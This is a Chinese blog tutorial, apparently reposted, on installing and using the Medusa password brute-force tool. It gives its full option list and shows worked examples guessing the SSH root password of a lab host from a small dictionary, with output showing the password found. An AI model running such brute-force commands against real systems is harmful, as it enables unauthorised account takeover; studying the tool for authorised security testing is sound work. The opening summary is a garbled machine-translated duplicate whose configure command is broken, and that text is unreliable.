了解美杜莎(Medusa)

摘要:
美杜莎介绍了美杜莎作为一种快速、大规模并行和模块化的暴力破解工具。您可以同时对多个主机、用户或密码执行强制测试。美杜莎和九头蛇一样,也是一种在线密码破解工具。Medusa是一个密码爆破工具,支持AFP、CVS、FTP、HTTP、IMAP、MS-SQL、MySQL、NCP、NNTP、PcAnywhere、POP3、PostgreSQL、rexec、RDP、rlogin、rsh、SMBNT、SMTP、SNMP、SSHv2、SVN、Telnet、VmAuthd、VNC、GenericWrapper和Web表单。官方网站:http://foofus.net/goons/jmk/medusa/medusa.htmlGitHub地址:https://github.com/jmk-foofus/medusatar.gz包在官方网站上提供,zip包由GitHub提供。安装Medusa安装依赖包[root@youxi1~]#Yum-yinstalllibssh2-devellibsh2-devellibtoollibtool-ltdllibtool-ltdl-devel将上载下载的压缩包,解压缩、编译并安装它[root@youxi1~]#tarxfmedusa-2.2.tar.gz[root@youxi1~]#cdmedusa-2.2/[root@youxi1medusa-2.2 ]#./ configure--enable debug=yes--enable module afp=yes--enable-module cvs=yes--enable module ftp=yes--enable module http=yes--enable-module imap=yes--enable module mssql=yes--enable-module mysql=yes--nable module ncp=yes--enable-module nntp=yes--enable module pcanywhere=yes--启用模块cvs=yes-enable-module-pop3=yes--启用模块postgres=yes--Enabled module rexec=yes--enable-module rlogin=yes--disable module rsh=yes--启用模块smbnt=yes--启用模块smtp=yes--启用组件smtp vrfy=yes--使能模块snmp=yes--允许模块ssh=yes--让能模块svn=yes--支持模块telnet=yes--使得能模块vmauthd=yes--帮助模块vnc=yes--启动模块包装器=yes--实现模块web表单=yes[root@youxi1medusa-2.2]#echo$?

(1).美杜莎介绍

  Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的暴力破解工具。可以同时对多个主机,用户或密码执行强力测试。Medusa和hydra一样,同样属于在线密码破解工具。Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP,PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT,SMTP(AUTH/VRFY),SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具。

  官方网站:http://foofus.net/goons/jmk/medusa/medusa.html

  GitHub地址:https://github.com/jmk-foofus/medusa

  官网提供tar.gz包,GitHub提供zip包

(2).安装Medusa

  安装依赖包

[root@youxi1 ~]# yum -y install libssh2-devel libssh2-devel libtool libtool-ltdl libtool-ltdl-devel

  将下载好的压缩包上传,解压编译安装

[root@youxi1 ~]# tar xf medusa-2.2.tar.gz
[root@youxi1 ~]# cd medusa-2.2/
[root@youxi1 medusa-2.2]# ./configure --enable-debug=yes --enable-module-afp=yes
 --enable-module-cvs=yes --enable-module-ftp=yes --enable-module-http=yes
 --enable-module-imap=yes --enable-module-mssql=yes --enable-module-mysql=yes
 --enable-module-ncp=yes --enable-module-nntp=yes --enable-module-pcanywhere=yes
 --enable-module-pop3=yes --enable-module-postgres=yes --enable-module-rexec=yes
 --enable-module-rlogin=yes --enable-module-rsh=yes --enable-module-smbnt=yes
 --enable-module-smtp=yes --enable-module-smtp-vrfy=yes --enable-module-snmp=yes
 --enable-module-ssh=yes --enable-module-svn=yes --enable-module-telnet=yes
 --enable-module-vmauthd=yes --enable-module-vnc=yes --enable-module-wrapper=yes
 --enable-module-web-form=yes
[root@youxi1 medusa-2.2]# echo $?
0
[root@youxi1 medusa-2.2]# make && make install
[root@youxi1 medusa-2.2]# echo $?
0
[root@youxi1 medusa-2.2]# ls /usr/local/lib/medusa/modules/  //查看已经生成的模块
afp.mod    mysql.mod       rexec.mod      snmp.mod     web-form.mod
cvs.mod    ncp.mod         rlogin.mod     ssh.mod      wrapper.mod
ftp.mod    nntp.mod        rsh.mod        svn.mod
http.mod   pcanywhere.mod  smbnt.mod      telnet.mod
imap.mod   pop3.mod        smtp.mod       vmauthd.mod
mssql.mod  postgres.mod    smtp-vrfy.mod  vnc.mod

(3).Medusa使用方法

  Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

  选项说明:

-h [TEXT]      目标主机名称或者IP地址

-H [FILE]       包含目标主机名称或者IP地址文件

-u [TEXT]      测试的用户名

-U [FILE]       包含测试的用户名文件

-p [TEXT]      测试的密码

-P [FILE]       包含测试的密码文件

-C [FILE]       组合条目文件

-O [FILE]       日志信息文件

-e [n/s/ns]    n代表空密码,s代表为密码与用户名相同

-M [TEXT]      模块执行名称

-m [TEXT]      传递参数到模块

-d                 显示所有的模块名称

-n [NUM]       使用非默认Tcp端口

-s                 启用SSL

-r [NUM]       重试间隔时间,默认为3秒

-t [NUM]       设定线程数量

-T             同时测试的主机总数

-L                 并行化,每个用户使用一个线程

-f                 在任何主机上找到第一个账号/密码后,停止破解

-F                在任何主机上找到第一个有效的用户名/密码后停止审计。

-q                显示模块的使用信息

-v [NUM]      详细级别(0-6)

-w [NUM]     错误调试级别(0-10)

-V                显示版本

-Z [TEXT]      继续扫描上一次

(4).实例

  指定主机,指定用户,测试单个密码

[root@youxi1 medusa-2.2]# cd
[root@youxi1 ~]# echo 192.168.5.101 > host.txt
[root@youxi1 ~]# echo root > users.txt
[root@youxi1 ~]# medusa -M ssh -H host.txt -U users.txt -p 123456
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 1 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.5.101 User: root Password: 123456 [SUCCESS]

  指定主机,指定用户,测试多个密码

[root@youxi1 ~]# vim p.txt  //自己建立一个测试字典
1234567890
PASSWORD
password
1234abcd
abcd1234
ABCDEFGH
abcdefgh
123456
[root@youxi1 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234567890 (1 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: PASSWORD (2 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (3 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234abcd (4 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcd1234 (5 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: ABCDEFGH (6 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcdefgh (7 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (8 of 8 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.5.101 User: root Password: 123456 [SUCCESS]

  使用-O选项将破解的密码保存到指定文件中

[root@youxi1 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt -O password.txt
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234567890 (1 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: PASSWORD (2 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (3 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234abcd (4 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcd1234 (5 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: ABCDEFGH (6 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcdefgh (7 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (8 of 8 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.5.101 User: root Password: 123456 [SUCCESS]
[root@youxi1 ~]# cat password.txt  //查看
# Medusa v.2.2 (2019-09-02 11:46:53)
# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt -O password.txt 
ACCOUNT FOUND: [ssh] Host: 192.168.5.101 User: root Password: 123456 [SUCCESS]
# Medusa has finished (2019-09-02 11:47:07).

  字典文件可以到网上下载

免责声明:文章转载自《了解美杜莎(Medusa)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇SQL三大范式【数据分析师八大能力】下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

通过yum升级gcc/g++至版本4.8.2

最近在坐一个日期处理的问题,需要安装sxtwl模块,但是gcc版本4.7死活也安装不上,最后测试到只能升级gcc版本到4.8才得以解决 [root@123 bin]# gcc -vUsing built-in specs.Target: x86_64-redhat-linuxThread model: posixgcc version 4.4.7 2012...

Bootargs参数详解

Bootargs参数详解 U-boot的环境变量值得注意的有两个: bootcmd 和bootargs。 一:bootcmd bootcmd是自动启动时默认执行的一些命令,因此你可以在当前环境中定义各种不同配置,不同环境的参数设置,然后设置bootcmd为你经常使用的那种参数,而且在bootcmd中可以使用调用的方式,方便修改。  eg:setenv bo...

多个haproxy 之间跳转

C:>ping wechatTest.winfae.com 正在 Ping wechatTest.winfae.com [120.55.118.6] 具有 32 字节的数据: 来自 120.55.118.6 的回复: 字节=32 时间=5ms TTL=54 来自 120.55.118.6 的回复: 字节=32 时间=4ms TTL=54 指向1...

Ansible批量添加主机

一、管理端生成RSA公钥 ssh-keygen -t rsa 二、单台添加目标主机 ssh-copy-id root@10.0.0.21 输入密码后免密连接建立 三、批量添加目标主机 1.在/etc/ansible/hosts中编辑要批量添加的主机组 [GROUP-CC] aaa ansible_connection=ssh ansible_user...

Ubuntu安装SSH和SFTP Windows与Ubuntu Linux互传文件

Ubuntu安装SFTP和安装SSH可以一部完成,即:安装好了SSH就可以用SFTP连接了。 安装SSH sudo apt-get install openssh-server 查看SSH是否启动 sudo ps -e | grep ssh 设置ssh开机启动(这一步可选,一般安装好之后默认就是开机启动) # 开机自动启动ssh命令 sudo system...

代理自动配置文件PAC

代理自动配置文件PAC 来源 https://zhuanlan.zhihu.com/p/31287042 chrome://net-export/chrome://net-internals/#proxychrome://net-internals/#eventshttps://netlog-viewer.appspot.com/ https://gith...